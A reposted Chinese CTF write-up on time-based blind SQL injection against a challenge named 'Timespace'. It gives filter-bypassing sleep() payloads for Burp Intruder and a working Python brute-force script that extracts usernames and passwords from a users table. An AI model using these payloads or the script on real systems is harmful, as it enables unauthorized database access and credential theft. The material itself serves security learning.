实战 | SQL延时注入-Timespace

admin 2023年9月8日02:02:52评论15 views字数 4077阅读13分35秒阅读模式
实战 | SQL延时注入-Timespace

实战 | SQL延时注入-Timespace记一次SQL延时注入-Timespace

记一次SQL延时注入-Timespace

实战 | SQL延时注入-Timespace
目录

○ 时间盲注简介

○ 例题:Timespace

○ 解法1:使用BURP抓包爆破

○ 解法2:使用脚本爆破

○ 声明

时间盲注简介
实战 | SQL延时注入-Timespace
NO.1

时间盲注又称延迟注入,适用于页面不会返回错误信息,只会回显一种界面,其主要特征是利用sleep函数,制造时间延迟,由回显时间来判断是否报错。

例题:Timespace
实战 | SQL延时注入-Timespace
NO.2

实战 | SQL延时注入-Timespace

判断注入点和注入类型
用户名输入1,密码输入1 —— 报错
用户名输入1',密码输入1 —— 发现用户名处被注入
用户名输入1,密码输入1' —— 报错
说明用户名是注入点,密码不是注入点。
用户名输入1'#,密码输入1,显示报错。

实战 | SQL延时注入-Timespace

综上得知是单引号字符型注入。

解法1:使用BURP抓包爆破
实战 | SQL延时注入-Timespace
NO.3

判断字段数

用户名:1' order by 5#,密码随便填

发现空格被过滤了,考虑使用%00或者/**/来补齐空格。经过尝试发现/**/有效果。

实战 | SQL延时注入-Timespace

实战 | SQL延时注入-Timespace

1'/**/order/**/by/**/4 #  //截断成功的回显1'/**/order/**/by/**/3 #  //正常报错

实战 | SQL延时注入-Timespace

实战 | SQL延时注入-Timespace

知道字段数查表,没有预期数据显示,判断不能采用union语句注入

1'/**/union/**/select/**/version(),user(),database() #

实战 | SQL延时注入-Timespace

尝试使用时间盲注

1'/**/and/**/sleep(3) #  //语句没有被单引号截断,显示报错,说明代入了SQL语句进行查询。显示报错但没有执行sleep(3) 说明语句不对,尝试改为or进行判断。1'/**/or/**/sleep(3) #  //发现执行了sleep(3),所以可以使用or进行时间盲注

实战 | SQL延时注入-Timespace

构造语句进行爆破获得数据库,数据表等信息

a.判断库名长度1' or/**/if(( length( (select/**/database()) )=§8§ ),sleep(3),1)#   //根据发包的语句回显添加/**/,使用burp爆破得知 length(database())=8b.爆破数据库名1' or/**/if(( substr(( (select/**/database()) ),§1§,1)='§a§' ),sleep(3),1) #  //根据发包的语句回显添加/**/,爆破结束得知数据库名为"hazel12."c.查表长度1' or/**/ if((length((select/**/ group_concat(table_name)/**/ from/**/ information_schema.tables/**/ where/**/ table_schema='hazel123'))=§1§),sleep(3),1)#  //可知length(table_name)=5d.爆破表名1' or/**/ if((  substr((    select/**/ group_concat(table_name)/**/ from/**/ information_schema.tables/**/ where/**/ table_schema='hazel123'   ),§1§,1)='§a§'  ),sleep(3),1)#  //结果表名为userse.查字段长度1' or/**/ if((length((select/**/ group_concat(column_name)/**/ from/**/ information_schema.columns/**/ where/**/ table_name='users'))=§1§),sleep(3),1)#  //爆破得知表中的所有字段长度为63f.查字段名1' or/**/ if((  substr((    select/**/ group_concat(column_name)/**/ from/**/ information_schema.columns/**/ where/**/ table_name='users'   ),§1§,1)='§a§'  ),sleep(3),1)#   //user,current_connections,totah_codnections,id,username,passwordg.根据需要的字段得出结果1' or /**/if((  length(  (select /**/group_concat(id,username,password) /**/from /**/users )  )=§1§ ),sleep(3),1) #   //查出值长度1' or /**/if((  substr((  (select/**/ group_concat(id,username,password) /**/from /**/users )  ),§1§,1)='§a§'  ),sleep(3),1) # //根据值长度爆破出值内容
解法2:使用脚本爆破
实战 | SQL延时注入-Timespace
NO.4
#!/usr/bin/python3# -*- coding=utf8 -*-

import requests

# 定义超时def timeout(url,param):    try:        r = requests.post(url,data=param, timeout = 4)        return "pass"    except:        return "timeout"



# 定义函数def db_len(url):    for i in range(300):        # 需要改动的地方        param = {        # "username":"1' or if((length((  select database()  ))={}),sleep(5),1) #".format(i),        # "username":"1' and if((length((  select group_concat(schema_name) from information_schema.schemata  ))={}),sleep(5),1) #".format(i),        # "username":"1' or if((length((  select group_concat(table_name) from information_schema.tables where table_schema=database()  ))={}),sleep(5),1) #".format(i),        # "username":"1' or if((length((  select group_concat(column_name) from information_schema.columns where table_name='users'  ))={}),sleep(5),1) #".format(i),         "username":"1' or if((length((  select group_concat(id,username,password) from users  ))={}),sleep(5),1) #".format(i),        "password":"123"        }        param['username'] = param['username'].replace(' ','/**/')        # print (param['username'])        text = timeout(url,param)        # 替换关键字        if "timeout" in text:            # print "db_len is {}".format(i)            print ("db_len is {}".format(i))            db_len = i            return db_len# 定义函数def db_data(url):    key = ""    db_l = db_len(url)    for i in range(1,db_l + 1):        for j in dic:            # 需要改动的地方            param = {            # "username":"1' or if((substr(((  select database()   )),{},1)='{}'),sleep(5),1) #".format(i,j),            # "username":"1' and if((substr(((  select group_concat(schema_name) from information_schema.schemata   )),{},1)='{}'),sleep(5),1) #".format(i,j),            # "username":"1' or if((substr(((  select group_concat(table_name) from information_schema.tables where table_schema=database()   )),{},1)='{}'),sleep(5),1) #".format(i,j),            # "username":"1' or if((substr(((  select group_concat(column_name) from information_schema.columns where table_name='users'   )),{},1)='{}'),sleep(5),1) #".format(i,j),             "username":"1' or if((substr(((  select group_concat(id,username,password) from users   )),{},1)='{}'),sleep(5),1) #".format(i,j),            "password":"123"            }            param['username'] = param['username'].replace(' ','/**/')            text = timeout(url,param)            # 关键字,替换关键字            if "timeout" in text:                key += j                break        print (key)        # print key

if __name__ == '__main__':    # 替换请求地址    url = "http://hazelshishuaige.club:8114/index.php"    dic = "abcdefghijklmnopqrstuvwxyz_,.!@#1234567890"    db_data(url)

实战 | SQL延时注入-Timespace

声明
实战 | SQL延时注入-Timespace
NO.5
本文作者:布尔
本文编辑:Yusa
感谢 布尔 师傅 (๑•̀ㅂ•́)و✧

实战 | SQL延时注入-Timespace

原文始发于微信公众号(渗透安全团队):实战 | SQL延时注入-Timespace

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月8日02:02:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战 | SQL延时注入-Timespacehttp://cn-sec.com/archives/2016598.html

发表评论

匿名网友 填写信息